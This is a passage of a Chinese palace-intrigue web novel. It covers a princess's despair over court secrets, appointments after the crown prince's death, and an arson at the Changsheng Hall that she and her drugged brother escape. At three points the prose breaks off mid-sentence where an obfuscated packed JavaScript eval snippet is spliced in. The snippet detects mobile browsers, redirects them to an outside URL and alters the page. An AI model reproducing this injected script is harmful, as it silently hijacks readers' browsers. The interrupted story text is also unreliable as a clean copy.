她的傻三哥和他一样立即跑出宫要去找宁晨铎,宁安侯府找不到他就去菁明书院,后来才听说宁晨铎很偶然地改变行程,去曲江边与友人游湖了。 他就一路追到了曲江。 沈碧说,这一切都像是冥冥之中自有定数。他就这么巧合地遇见了当年林丛小溪案发的老吏员,在溪水边得知了那一双眼睛的情债,惊恐万状下的他就这么失足落水。 是,小小风寒杀不了人,但真相会。 她的三哥就是天降的礼物,大楚留不住,老天就要收回去。 沈磐觉得一切都明了了。 所以,孙太医暴毙之时,太子说恐怕是孙太医得知了太多皇家秘辛这才遭到冷血帝王的灭口。那时她在想,她的母后是难产身亡,郭贵妃是病故的,更不要说霍夫人是红颜薄命,这宫闱上下能有什么秘密需要用天才神通的哑巴太医的命来封口? 现在她就明白了,当时的太子可能就以为是孙太医谋害了霍夫人,故而这么宠爱霍夫人又贪恋亲姐的永济帝一定会用孙太医的命去祭奠爱人。 所以在崖然一事上,分明漏洞百出的逻辑在太子那里却合乎情理、分外合理。 沈磐不愿再深想一层。 可答案是昭然若揭的。 太子一定从沈碧那里知道了霍夫人的行径,何尝不会认为是永济帝让忠心不二的孙太医换药谋杀了霍夫人?所以兔死狗烹,孙太医就算是个哑巴也难逃帝王的疑心。 其实她还能再深想出更多,比如孙太医当然会知道宁王发现了洛阳子规草,后来一个意外,太医院的架格库还被小药童失手点了,霍夫人的医案被烧毁;再有孙太医大剌剌留下一包洛阳子规草在太医院的库房,细心的宁王会发现,常常出入此地的别的太医、药童、医婆难道就发现不了吗?孙太医为什么不将洛阳子规草处理干净?更有魏俊秋被逼上梁山的阴谋里,谁逼的他谁就一定掌握了霍夫人之死的关键,那么霍家人必然是清楚的,且魏俊秋能耐那么大,还是被逼就范了,他定然也知道这里面的玄机。 联系起最新得到的那些消息,锦麟卫的叛变、魏俊秋在五柞宫的图谋、陈王一病不起……她还能想出更多,更血腥恐怖的真相。 沈磐捂着头。 她在求自己的脑子别再想了! 她第一次感觉到,敏感从来不是什么值得骄傲的天赋。 这是折磨。 永无止境的折磨。 她的父皇啊,杀了这个人又杀了那个人,结果这样隐蔽阴私扭曲贪婪的爱恋,最后还是被他宣扬得人尽皆知。 人尽皆知。 人尽皆知我爱你。 为了你起昆仑之山,为你筑青史之台,为了你招冥冥之魂,为了你杀贯地府,为了你颠覆江山,为你变成禽兽模样。 沈磐再也忍不了了,她跌坐在地,死死抱住自己像是要裂开的脑袋,终于痛苦地尖叫起来。 她为什么不能立刻就死啊?她为什么还活着?为什么还活着活着活着! 头太疼了,她就是用尽力气也劈不开自己的脑袋。可她的脑袋里胀痛,就像有什么东西要破壳而出。 求你了,别长了,这样的孽土长出来的欲果不知还要荼害多少无辜人!骆霞、霍轻、沈砯、孙太医、元良、沈仪臣、沈仪明、沈碣、薛元映、薛正衢、薛元霭、郇渰、郇昇,还有数不尽道不完不知名姓的人。以身为饲,那就吃了她到此为止,求你了,她正好也想一死了之…… 求你了。 沈磐泪流不止。 这一个月来她哭得太多,像是早就哭尽了今生的眼泪。 而今哭出来的是命。 她能感觉到自己的性命在一点一滴间流逝。 命如流水。 自古人人皆有死,莫不饮恨而吞声。 沈磐的声音低了下来。 她为什么不能现在就死?死后万事皆空,哪千里烟断火绝,百姓闭骨泉里,孤臣危涕、孽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085392|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子坠心,亲故血下沾襟,这些都与她无关了。 无关?死后真就了无牵挂了? 天爷啊!这世上真有鬼神吗?那些瑶台宫阙全都是瑶台宫阙里的一个个人招魂招出来的意淫吗!如果没有不是,那些枉受草芥小民千余年祭拜的鬼神为何不立时出现在她的面前! 沈磐突然就笑出声。 她觉得自己一定是疯了!疯了才会胡思乱想到鬼神之事上!疯了疯了全都疯了! 她又笑了起来,比路过的悲风还要凄凉。 她真是疯了。 沈磐再度埋下头。 忽然,她听见身后“隆隆”地响,真似是羲和驭无尾六龙驼日而过。 她定是快死了方才会这么想。 沈磐咽下苦涩,静静等待曾在元良郡王府中降临过的命运随这雷响降临到自己头上。 “公主。” 沈磐抬头。 飞雪中,张永一牵着马,站在巷口看着她。 没有灯,他们又离得这么远,沈磐是如何清晰地看尽他眼中的波涛? 所以啊,这不是张永一。 她许愿让鬼神立即出现在眼前。 那这是鬼还是神呢? 以为自己再也流不出眼泪的沈磐眼前倏尔模糊。 是人。 是人…… 是人! 从未有人说任何谎言欺骗她,可她就有了一种被骗了的感觉。 从头至尾,他们全都活在一场所谓爱的谎言里!他爱他,她爱他,他爱她,她爱它,它是人是鬼是神是草是木是山是海是一切都是假的!为了这假的爱,她几乎赔上了一切!苦苦折磨自己到现在才悔悟过来! 她太傻了啊,就像她的二哥一样,知道了真相又如何,还不是打着所谓君父之爱、臣子之爱、社稷之爱、百姓之爱,为他遮掩、为他愧疚、为他亏欠、为他一直苦苦支撑到死! 所以她现在才真正明白了沈碧。她从不需要为了陈王的崛起、燕王的虐待、太子的磨难而殚精竭虑!因为她只要拿住了永济帝的软肋,拿住了这段腐烂发臭的畸情,她就能所向无敌。但她也是人,是人就绝对想不到而今的东宫太子能这么蠢、这么愚孝、这么窝囊、被规训得这么好! 君子如何能咬死小人? 沈磐扶着墙壁缓缓站起。 她想骗自己,现在骗不了了。 ** 沈磐在哭。 张永一从未在这样的时候看见沈磐的眼泪。 若在上次,他觉得这该是欢愉的眼泪。 沈磐的脸一边浸透在窗格里筛下的光亮里,一边隐匿在暗,亮的那边像是出水细瓷,白得透骨,暗的这边则是湿热温濡的,流满了她的冷汗和热泪。 张永一啄着她的眼泪,热的泪和冷的脸颊全都是既苦又涩的。 只有盘桓在生死边界的人,才知道这种苦涩从何而来。进一步就是死,将这辈子所有的牵绊、情爱、怨恨全都留在身后,死后万事皆空,便可得人间难求的一刹那极乐。退一步就是生,生从来都不是苦涩的,只有眼见着至亲至爱跃然至死而自己驻足不前这才是苦涩的,因为喊一声、拦一下,这一弹指的犹豫或许就给就死之人带来莫大的折磨,拦不住、留不下更会是对自己最大的残忍。 这用“苦涩”来说简直温柔,这是天崩地裂于脑海、移山倒海于肺腑也哭不尽的剧痛。 太痛了,痛到□□上所有的刑罚都如风拂过。 张永一不敢让她听见自己的叹息。 沈磐闭眼搂着他,将脸埋入他的脖间。 张永一感受到了她的眼泪,忽然听她哑着嗓音说:“用力。” 张永一小心不去压到她,边抚着她的头发,攥着床沿如她所说。 他觉得脖间凉凉,参差喷薄的鼻息更闷热了这样的眼泪,但她压抑不住心里的悲凄,喉咙里断断续续的呜咽最后也浑成了意义明确的两个字:“用力。” 雨声嘈嘈,可现在还是冬天,分明只会下雪,而雪落无声。 张永一已经听见了她坚持不住的喘息,她脱力地仰头倒在床褥上,可她还在说:“用力。” “用力!” “用力……” 张永一低头亲亲她的眼睫。 沈磐的呼吸还是乱的,她已经尽力平复了,可她还想大哭一场。 她以前也不是不会哭,她会向太子夫妇哭,向她的三哥哭,甚至向沈仪明那些小辈哭,但现在,只有这种时候,借着这样的借口,她才敢再哭得这么狼狈。 张永一不想走,但他还是支起身打算收拾床褥。 还有很多事等他处理,且沈磐也不会授予他过夜的权柄。 可沈磐说:“留下来过夜吧。” 不再一人等天明。 50. 第五十章 难诉情(四) 迫于朝廷的压力,永济帝还是下旨召回了戍守东北的燕王沈斫。 他从东北至化隆承天殿、再从承天殿到丽正殿、最后从丽正殿到紫微宫的那天,是太子沈碣的二七。二七不需要哭灵,一切祭祀从简,但十四天过去了,太子还不曾下葬。 宫里说,陛下觉得对不起这个儿子,硬是要选一个黄道吉日才放下葬。他龙体欠安,心向往而身不能至,便是又设道场又升梵唱,停灵的紫微宫长生殿十二个时辰香烛不灭。 但沈磐觉得,这不过是他和内阁那群堪称骂官的儒生们还没谈妥的表现。 最着急想逼太子下葬的那个人其实就是永济帝。墓室一封,所有的对错功过全都烂在了地下,他求之不得。但内阁不允许,尤其是梅依径,梅家门生广布天下,哪怕太子起兵实为造反,君父不察、错杀爱子这样的污点也能将骄傲了大半辈子的皇帝打得抬不起头,梅依径有这个本事让泥点子成为瓢泼大雨。 毕竟,皇帝都这么老了。 他已经不是从前那个一次廷杖一口气打死数十位拖朱曳紫的大官而面不改色心不乱的永济帝了。 要和朝中那么一群最善掰扯也最爱掰扯的老头子打交道,他力不从心。 沈磐带着沈斫一起送过前来悼唁的最后一批朝臣。 照理说,这是今天的最后一批。 今天是上元节,历年宫中都要大操大办,何况开年官员选调任命还在御书房和文正殿间博弈,大小官员为了头上那顶乌纱帽都急眼地盯着京城,哪怕是一把火把紫微宫皇家陵园烧得干净,他们恐怕也不会过分着急。 “公主,燕王。” 沈磐颔首:“卿藩台,嵇侯爷。” 卿澈又拜道:“下官已经不是南海道布政使了。” 沈磐刻意惊诧,看向站在一边气焰逼人的嵇阀。粗略看去,他弟弟嵇阚如果是落草为寇的山大王,那他看上去就讲理些,的确有幅正气凛然的将军样,但嵇阑斯文俊秋得怕是连菜刀都不敢拿,更兼他们的容貌是天差地别,无怪他心生疑窦。 他们的确不像父子。 嵇阀拱手解释道:“陛下召卿藩台回京,现在是天官冢宰、吏部尚书。” “那就是枢相了。” 卿澈慌忙道:“不敢,公主这样的称呼下官担不得。” 沈磐一扯嘴角,不再说话。 大楚的礼法早就乱了,叫他枢相又或者是首辅有什么区别? 眼见着沈磐的脸色更冷得可怕,沈斫只能等送卿澈去偏殿祭拜他那以身护主、忠贞不二的弟弟卿澄之后,才能在长生殿的角落里轻轻扯一下她的袖子。 沈磐拍拍他的手背,“累了吧?” “磐磐,方尚书他……被换了?” 沈磐不说话,正好嵇阀从偏殿出来,朝他们行礼,“二位殿下,末将临行前入宫拜见陛下,陛下思念两位皇孙,特许今夜上元佳节在紫微宫起花灯,‘一慰皇孙之心,二慰逝者之情’。” 沈磐朝南边蹲身行礼,“陛下厚爱。” 她起身朝嵇阀道:“卿尚书思念亡弟,嵇侯爷护送尚书大人一路定然辛劳,不妨先去无寿殿整顿休憩,紫微宫斋饭清淡,倒也勉强果腹。” 嵇阀没有推辞。 待嵇阀走后,沈磐这才冷笑:“吏部尚书掌选官重权,可与内阁首辅分庭抗礼,向来二者不可得兼,陛下要提拔方尚书当首辅,这天官自然要由别人做。” “那冉先生岂不是……” 沈磐敛容,“宫里天翻地覆,嵇阀五年不满就从西北回来,陛下更连卿伯鹤都从南海道召了回来,看得出他为了平衡时局、不落下风,是拼上老本了。” 见沈斫思虑萦心,她叹气:“别想了,等晚点时候张永一从化隆回来就什么都能知道了。今晚要点花灯,你就别守夜了,去陪着璩儿、玥儿……紫微宫里还建着大楚的架格大库,里面是天下州府的鱼鳞图册,还有我大楚开国至今户部所有的账目,不能见一点火,你要指挥长缨卫要好好巡逻。” 正叮嘱着,卿澈失魂落魄地从偏殿走出,沈磐刚要上前,就见他浑浑噩噩,竟然没看见前方高高的门槛,径直撞了上去。 沈斫再眼疾手快也无法转瞬间飞至眼前,好在卿澈是双手着地,没有摔得头破血流,却听得“咔擦”一声,卿澈的左手支撑不住,他整个人就朝左侧翻去。 “卿尚书!” 沈斫略一看过他的左臂,“骨折了。” “去请医官吧,再去通知忠义侯。” 卿澈疼得直冒冷汗,却还喃喃地说:“是臣没看到门槛……是臣的过错……” “尚书大人,就医要紧,冒犯了。”说罢,沈斫将他打横扛起,飞跑着冲向无寿殿。 嵇阀实在没想到哀思过度的卿澈还能把自己摔骨折了,只能代替卿澈开口向沈磐姐弟叨扰一夜。紫微宫照例不允外臣留宿,但卿澈的胞弟卿澄为了救永济帝以身挡刀,尸首还和太子一起摆在长生殿受着天下香火,实在没有道理拒绝他当哥哥的留宿。 沈磐没理由拒绝,只能命令掌管紫微宫的属官为这两位贵客收拾厢房。 ** “磐磐!” “不是让你陪他们去看灯,你怎么还来了?” 沈斫放下门帘,从怀里摸出一包糕饼,低声朝沈磐笑道:“晚上你就吃那么一点,夜里饿得肚子咕咕乱叫,小心吓到殿上添香油的小仆。” 沈磐笑着横他一眼,“哪里来的?紫微宫的灶上可蒸不出这些花里胡哨的东西。” 沈斫拆开油纸向她献宝,“永一有点事,要再晚点回来,就让义然带着京里的消息先来的紫微宫。你以前不是挺喜欢这家的鞋底酥?永一就嘱咐义然顺路买了一并带来。” 沈磐一时沉默。 沈斫还兀自翻着纸包里的糕饼,突然看见鞋底酥里掺着的别样点心,他一愣,旋即笑了起来:“哈,永一真是细致,怕你吃着腻,还买了别的样式口味……” “那是彩香记的梅子饼吧?供不应求,一点都不顺路。” 沈斫反而笑道:“那就更要感谢永一了,他的心思又细腻更难得,让我都能饱饱口福!啊阿姐!” 沈磐一把将糕饼抢了过来,“我是要守夜的,你都吃了我吃什么?” “哈哈,阿姐也太小气了……” 沈磐睨他:“现在知道叫阿姐了?” 沈斫笑,撩袍在一边坐下,“果然如阿姐所说,现在方尚书成了方首辅,就是冉先生……唉,陛下派他去南海道料理海防。” “好歹有个去处。”沈磐将糕饼重新包好,“既然去南海道,那职务可敲定了?” “还没。可怜冉先生,南下一趟艰险万分……” 沈磐给他斟茶,“南边未必不是个好去处,卿伯鹤居南海道多年,早就把海寇蛮夷收拾殆尽,冉先生到那里去也能清闲养老、保卒余年。” 沈斫只能点头,喝茶润过嗓,这才继续道:“还有就是梅阁老,直接向陛下辞官了,宫里传闻说是只要梅阁老辞了官,陛下就会把他的两个侄子一起提拔,两位侍郎全成为尚书,分掌礼部和户部,虽未入阁,但梅家的门第不算衰微,所以梅阁老才会答应。” 沈磐不说话,低头给自己也倒了杯茶,茶水还有热气,但喝着已经嫌冷。 见状,沈斫接过茶壶,“这茶对我来说正好,都归我喝了,一会儿再给你热壶好的。” 说着,他对着壶嘴就灌了下去。 沈磐无奈,“多大的人了,还和小时候一样,我会短你一口喝的?” “哈,阿姐方才连块饼都不肯给。” “谁不给你了?才吃完饭你还有肚子吃这个?别贫嘴了,梅依径走了,那这左都御史之职怎么办?” “这就没说了,估计还在衡量吧。对了,襄阳侯得了重病,就顺势也辞官了,大将军霍辄在五柞宫护驾有功,其弟霍轶假传圣旨、蒙蔽圣听、谋逆造反,他们霍家功过相抵,陛下就不追究了,但还是给了霍辄一个锦麟卫指挥使。” “那乔晏呢?” “他的父亲乔致用曾在西南戍守多年,照理说朝廷不会再派他去西南,但陛下感念他的忠心,就打算让他去当南越将军、掌管西南、封疆一方。” 沈磐摩挲杯口,“那阴阳卫由谁接管?” “他既然要当南越将军,现任南越将军就来当这个指挥使。” 沈磐的脸色顿时难看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090525|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“伴君如伴虎,阴阳卫指挥使再风光哪里比封疆大吏来得体面?况且我记得,前任南越将军是嵇阚,现在的南越将军江之万新官上任才不到一年吧?让位极人臣的四大将军委身当一个小小指挥,不仅要结怨,还是在打他的脸……” “但现在的南越将军叫江之万,他曾是乔致用的部下后来又追随了嵇阚。他爹岌岌无名,若没有乔致用提拔,他也见不到嵇阚、也到不了现在的位子。我还记得他爷爷倒是有些来头,是升平年间东宫长缨卫指挥使江聿洲,不仅参加过南巡平定南海道叛乱、还曾剿灭逆党,听说与乔致用等人颇有交情。” 沈磐摇头:“好竹也能生歹笋,只希望是我多虑了。” 沈斫笑道:“磐磐你定然是多想了,想得太多郁结你自己肝肺——” “别打岔!陛下此举若非是出自真心,那就是在拱火!嵇阀是靖臣将军,现在回了京,陛下要提拔乔晏,理应先送他去西北,若他被派去了西南,那这西北的位子又要留给谁?难道是嵇阚?” “对,就是嵇阚,他立了这么大的功,陛下不仅给他封了侯,是为勇毅侯,还要让他去西北接替他哥哥的靖臣将军位。” “看来嵇阀是要长久地留在化隆了。” 想到这个,沈斫心情有些回落:“嵇阑也有了官身,他杀了虎贲卫指挥使霍轶,那他就成了新任指挥使。” 沈磐点头,见他眼中郁郁,不禁问道:“你在胡思乱想什么?” 沈斫摇摇头,继续细数:“乔指挥使马上就是乔将军,他的连襟房侍郎也要升官,现在已经是兵部尚书了。还有英国公的次子辛鋆担任玄武卫指挥使,其他的就没有什么要紧的人事变动了。对了,永一的指挥使告身昨日就送到梁国长公主那儿了,长公主的身体不太好,陛下希望这样的好消息能让她宽心。” 的确,不过一年,张永一就从来时的小小千户逐步晋升为三品指挥使,手掌东宫长缨卫,在品阶上,和霍辄、江之万等黄沙百炼的宿将没有两样。 沈斫眼里尽是欣赏。 的确,坐到这个位子上,未尝不是他的本事。 沈磐长舒一口气,“二哥也能放心了。” “磐磐。” 沈斫刚起调,沈磐就知道他要说什么,“我的事你不用担心。” “可是现在已经无人逼迫,嵇阑得了这样的官,他父亲的爵位是一定要传给他了,他也不再需要依靠尚主来抢爵位了。且陛下再没提你们的婚事……” 沈磐敛眉:“沈斫,梁国长公主还病着。” 被姐姐一句击中要塞,沈斫只能坦白:“张永一不好吗?过去的一年里你们相处了很多,他怎么样你难道还看不出吗?” 听见这样的恳切之言,沈磐突然就有些累。 那天一觉醒来,屋里没有烧炭,冷得很,但张永一的怀抱足够温暖,所以她不应该会觉得冷。 但她心里冷极了,尤其是听张永一说,他答应了太子,会永远做她的不二臣,所以哪怕为了太子,也求她不要疏远他、放弃他、赶走他。 “沈斫……算了,你不懂得这些。” 沈斫本想再争上一争,可他也有些累了,“只要阿姐高兴就好。” 沈磐扶着额头闭目修养。 一想到这些事情,她就觉得头疼。 她不得不去想些简单的事情,诸如霍家功过相抵,陈王无罪,再过些日子就要受封兖王,可是永济帝先后调回了嵇阀和卿澈,又委霍辄以重任,左迁冉琢明等人,方继昌因为被太子禁闭武英殿故而无形中得了永济帝的信任,但乔晏明升暗贬,房桂稻拿捏兵部却拿捏不了跟着霍辄起家的武将…… 这一桩桩一件件,看着是局势大好,实际上暗潮汹涌。 最重要的是,东宫已空,而今当由谁承储位? 父死子继,兄终弟及,处处都是道理,处处都有文章。 一刹那间,沈磐觉得这些最简单不过的事情也复杂起来,而她和张永一之间不可见日又说不清道不明的关系反倒明了起来。 她的头更痛了。 可是她闻见了一些不寻常的味道。 沈磐挣扎着醒来。 一睁眼,火海汹涌。 51. 第五十一章 难诉情(五) 嵇阀不敢相信自己的眼睛。 长生殿方向,滚滚浓烟如重拳一击砸上了中天的月亮。 外面“走水了”“长生殿着火了”的尖叫此起彼伏,陈王即刻从位子上冲到了窗边,“糟了,五哥还在殿中守夜!” 嵇阀难以置信地又望了一眼那遮天蔽日的尘烟,他即刻跳了起来,大喊着冲出陈王的小院,“快去救火!救火!” 忠义侯府的兵丁追在他身后大喊,“侯爷!燕王在里面!” 背脊一凉,嵇阀突然刹停,掐住那名大喊的兵丁咯吱作响的喉咙呵斥道:“我不管谁在里面,长生殿的火必须要灭!如果烧到了架格库,谁都活不了!把池塘的冰面铲了,立刻去引水救火!” 眼见着嵇阀带着人赶去火场,而隔壁的卿澈也托着夹了木板的手闻讯而来,陈王沈礴自知在火场里他和眼前半残不残、年过半百的卿澈没什么区别,便想压着心里的着急不去添乱。 可他做不到。 卿澈拦也拦不住,陈王一阵风似地也跑没了影。 “唉,这一个个的……” 蓦然,卿澈回头看向长生殿上空的浓稠黑烟,再看看院子里五光十色的上元花灯,他浑身一个激灵如坠冰窟。 “救命!快来人!快来人找皇孙!皇孙!你在哪里!” 元亨叫破了喉咙也没有回应。 沈仪玥抹着眼泪安慰他道:“哥哥一定是跟着长缨卫救火去了……元亨,你别着急,我们慢慢找……啊,那是哥哥!” 元亨循声看去,内监宫女乱窜之中那个被撞倒在地的小男孩的确是沈仪璩。 “太好了!哥哥!”沈仪玥已经欢叫着跑了出去。 可是元亨又见,皇孙仪璩身后突然出现了一双手,不知道是谁的手,苍老的手、年轻的手,干净的手、染血的手,男人的手、女人的手,抓着他的后领就把这轻轻巧巧的小男孩抛到了水中。 为了救火,堂下冰冻的池塘全被凿开,沈仪璩连叫都来不及,就这么一头扎进了黑漆漆不见底的水中。 “哥哥!” 地上湿滑,沈仪玥一脚也滑进水中。 “扑通——” “小郡主!” 元亨什么也顾不得,跳下水就开始捞人,索性他很快抓住了沈仪玥,将呛着水满脸通红的小姑娘抱到岸边。 但水面上游动着、翻滚着各式各样、大小不一的浮冰,静悄悄,只有一串气泡从池底冒出。 ** “沈斫!沈斫你醒醒!” 沈斫不知何时伏在桌案上睡着了,不,不是睡着了,沈磐怎么喊怎么推也醒不了,就像是被人下了整包的蒙汗药。 她一探沈斫的鼻息,还有气,提到嗓子眼的心顿时放下。 还活着就好。 顾不得害怕,沈磐冲到那热浪滚滚的门口。门上挂着一张竹帘,在此间用于隔断视野又可通风,她记得沈斫来时并未关门,可此时门帘后的木门却被人从外面锁上,她用力一撞,撞疼不说,屋外的火舌舔舐着门缝就蹿了过来。 她又跑到窗边,意料之中,所有的窗都是从里面锁着的。长生殿地势极高极寒,为了防止守夜之人被山上的寒意冻坏,抑或者有不轨之人越窗而入,这连排的窗户不仅常年上锁,窗户纸内还都衬着一片完整的琉璃。 沈磐倒吸一口热气。 她突然就想到了那壶被沈斫一滴不剩喝完的茶。 这下她连呼救都没有必要了。 这单间在长生殿西北角,也就在正殿的最里面,离殿门最远,而长生殿没有造后门。从门缝中看,外面已经是火海一片。 的确,这殿上的香烛、灯油连片,不小心打翻一支,这火就能沿着到处都是的白幡窜上穹顶,根本来不及灭。且今夜紫微宫点灯,向来被迫苦修于此的内监宫女哪个不愿去看,点了烛、上了油哪个不逃去玩?谁想得到会有她沈磐姐弟在此给太子守灵? 沈磐被自己的疏忽气笑了。 太绝了。 一把火烧了长生殿,烧死她也烧死沈斫,沈仪璩兄妹不过垂髫稚子,谁还能和才华斐然又一生走运的陈王争?! 她真是太大意了!她防嵇阀、防卿澈,还要防止今夜的花灯出现纰漏点着了架格库,又或者嵇阀带上山的人浑水摸鱼谋害皇孙,长缨卫全在架格库和花灯堂左右巡逻,不料,他们要唱一出调虎离山,转瞬间烧了长生殿。 沈磐睁大眼。 好决断啊。 连紫微宫长生殿他们都敢烧! 沈磐顾不得震撼,逡巡屋内,她拔掉还滴着滚烫蜡油的蜡烛,抄起黄铜烛台就往封窗的旧锁上砸。 可烛台沿都被砸卷了边,不仅那锁完好无损,她连那块琉璃窗片都砸不碎。 沈磐咬牙,扫落台几上的东西,搬起那有些沉重的小几,用尽阉霍开武时的力气,朝着那窗户一角砸去。 “嘭——” “嘭——” “嘭!” 琉璃碎片“哗啦啦”地尽数炸开,窗外凛冽的夜风便从花窗洞里涌了进来,屋内所有的火烛霎那熄灭。 是西北风。 他们在上风口。 天不绝我! 沈磐大喘了几口新鲜空气,又抄起一支新烛台朝已经被小几或者琉璃片割出一道裂口的窗板上砸去。 一下。 两下。 三下。 四下。 不知多少下,到底都是陈年旧木,一开了口子便停不住,沈磐趁机踩上那小几,沿着裂痕走向朝着那窗户板就是两脚。 窗破了。 沈磐终于能扯开嗓子放声喊:“救命!快来人!” 但这就显现出上风口的坏处了,她喊破嗓子的救命声也被这猎猎晚风吹入火海。 没有人来,沈磐只能重新扑到沈斫身边。 他还昏迷不醒。 “轰隆——” “隆隆——” 随着两声巨响,他们暂时庇身的这间小屋震了震。 沈磐知道是大殿的梁柱塌了。 她必须赶快把沈斫弄出这即将葬身火海的屉笼,不然在被火烧死热死毒死前,他们会被这千钧重的穹顶压成齑粉。 从前沈磐自诩也算是女中力士,但她着实没想到,沈斫平日里看着清清瘦瘦,身形远比不上张永一,有时候乃至比流连花丛的嵇阑还要单薄一点,结果驮到背上却如同磐石。 沈磐差点没被压死。 她心想,一定是因为中了蛊,自己才变得这么弱不禁风。 沈磐咬牙,才将沈斫驮到窗边就有些虚脱,可她来不及休息,这小屋再次撼动,催逼着她把沈斫推上窗台。 她看了一眼残破却带着木刺的窗板,再探头看一眼窗外地面,不算太高,这么翻过去应当无事。 一横心,沈磐扛着沈斫的腰把人推了下去。 “公主!” 沈磐肩上一轻,转身就见窗外,张永一居然神兵天降般出现在眼前,他接过任人摆布的沈斫,不至于让他摔到地上摔出个好歹,沈磐这才放心。 “快出来!” 纵隔的墙已经开始倾斜。 沈磐连忙攀上窗台,朝外纵身一跃—— 坠进张永一的怀里。 “你怎么把他放地上了!” 张永一连忙松手,重新从地上背起沈斫。 “快,快请医师,他中了太多迷药……” “我把崖然接回来了。” 沈磐飞跑着追着他,“好……” 张永一背着沈斫连下了十几级台阶。 沈磐终于跑不动停在了原地。 身后不过十几步的地方,太子的灵柩随着经年累月、风吹雨打尚且不坏不腐不朽的木料一同炙烤在烈火里。 她转身去看这一场真正的“大厦将倾”。 视线越过这焮天铄地、轰轰烈烈的长生殿,她仿佛还能在尘灰与夜色搅和得比鹿角胶还要浓稠的灰败之中看见,不远处三十年前起成的那座“昆仑之丘”,那座上能通苍天、下可及黄泉的陵冢,也在长生渴念被烧成这无情残垣但又不甘尖叫的刹那,轰然倒塌。 ** 五更天至寒,沈斫就是此时悠悠转醒的。 一睁眼,对上一张鬼脸,沈斫差点被吓得叫出来。 崖然睡眼惺忪,“醒了?嗯不错,底子还不错。” 他起身开始捣鼓床头桌上的一堆玩意,也不管还迷迷糊糊的沈斫究竟听没听进去,一股脑地将昨夜凶险之事倒了出来,“你小子真是命大,不,你是走运,有长平公主这么靠谱的姐姐,她看见你被蒙汗药药倒了,睡得跟头死猪没有区别,而那时长生殿起了大火,她居然能把你从那又破又小的屋子里弄出来,砸窗的砸窗,肩上背上手上脚上都是伤,却还能把你小子带出来,真是女中豪杰佩服佩服……” 看见沈斫要坐起来,他连忙制止:“别动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098268|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再养养。” 听见他扯动伤口,他道:“背上一点小伤,已经给你处理好了,不碍事。” “我姐姐她……” “她没事,本来她还挣扎着要守着你直到你醒来,生怕你有个三长两短或者我哪里偷工减料让你有个三长两短……”崖然不满地嘟囔,“不过呢,听说小皇孙和小郡主失足落水,她就没功夫来管你了。” “璩儿玥儿他们——” “他们也没事,小郡主是内监元亨救上来的,小皇孙呢是他叔叔陈王捞上来的,放心放心,都有气儿,活得好着呢。” 崖然端来一碗浆水,“喝了吧,喝完了这些个后遗症就没了,你就可以下床了去边上找你姐姐了。” 一听这话,沈斫一口气干完那碗苦胜黄连的浆水,摇摇晃晃走了几步,裹好自己的衣裳就要摇摇晃晃地走出去。 崖然对着他的背影叹气,“又是一对好姐弟。” 他继续去收拾他的东西,不知又哼起什么荒山野岭别有风骚的小调,突然门口一响,他连忙放下手中物件跑过去一看,沈斫居然抱着头摔在地上,瞧着模样,像是看不清路撞门撞的。 崖然脸上的笑顿时碎成了渣渣,把四肢无力的沈斫重新拖回了床上。 他哼哼道:“醒得是早,就没想到你底子也就一般般,还是乖乖到床上躺着吧,别再摔出个三长两短砸了老道的招牌……” “崖然神医,我姐姐中的蛊……” 听见他提起这件事,崖然终于笑不出来了,但他还是忽悠道:“嗯,你姐姐的蛊其实很好解的,只是现在地点特殊、事件特殊、时间特殊,所以还要拖一拖,等回了化隆,老道自然会给她解的。” 当时张永一修书给崖然,的确是瞒着沈斫的,奈何后来他和太子北上奔逃,遣散的三骑长缨卫死的死、伤的伤,总算有一人吃尽苦头成功跑到了宁远。这么一来,化隆城里发生的要案命案血案尽数让沈斫知晓。若非他这个燕王有名无实,东北的兵全都把控在骑墙观望的宁海将军手中,沈斫早就检点兵马南下救援了。 不过他就算有兵,南下抵京之时恐怕早已尘埃落定。 所以现在回了化隆,沈斫总想要尽己所能地去弥补。 崖然又叹。 屋里只有残灯一盏,虚弱得很,但沈斫提起了一万分的用心和在意,崖然刻意隐藏起来的严肃自然被他扒得干净。 他问:“她……以后真的没法有孩子了吗?” 崖然不隐瞒,也不给他任何虚无的幻想,“是啊,的确再难生育……” 余光瞥见沈斫的自责愧疚更加深重,崖然继续哼哼道:“但生不了孩子有什么不好的?你瞧瞧我家国主,照样呼风唤雨、宰割天下、青史留名,这不比呆在家里生孩子好?不能生孩子才是好,活得长嘞,但凡生产时有个三长两短那就是一尸两命,哎呦,你真舍得你姐姐给旁的男人生孩子结果把命搭进去呦?” “不……我绝不想这样……我只是……” “只是什么?” 崖然又端了碗药到他嘴边,“喝了这副药,你再说只是什么。” 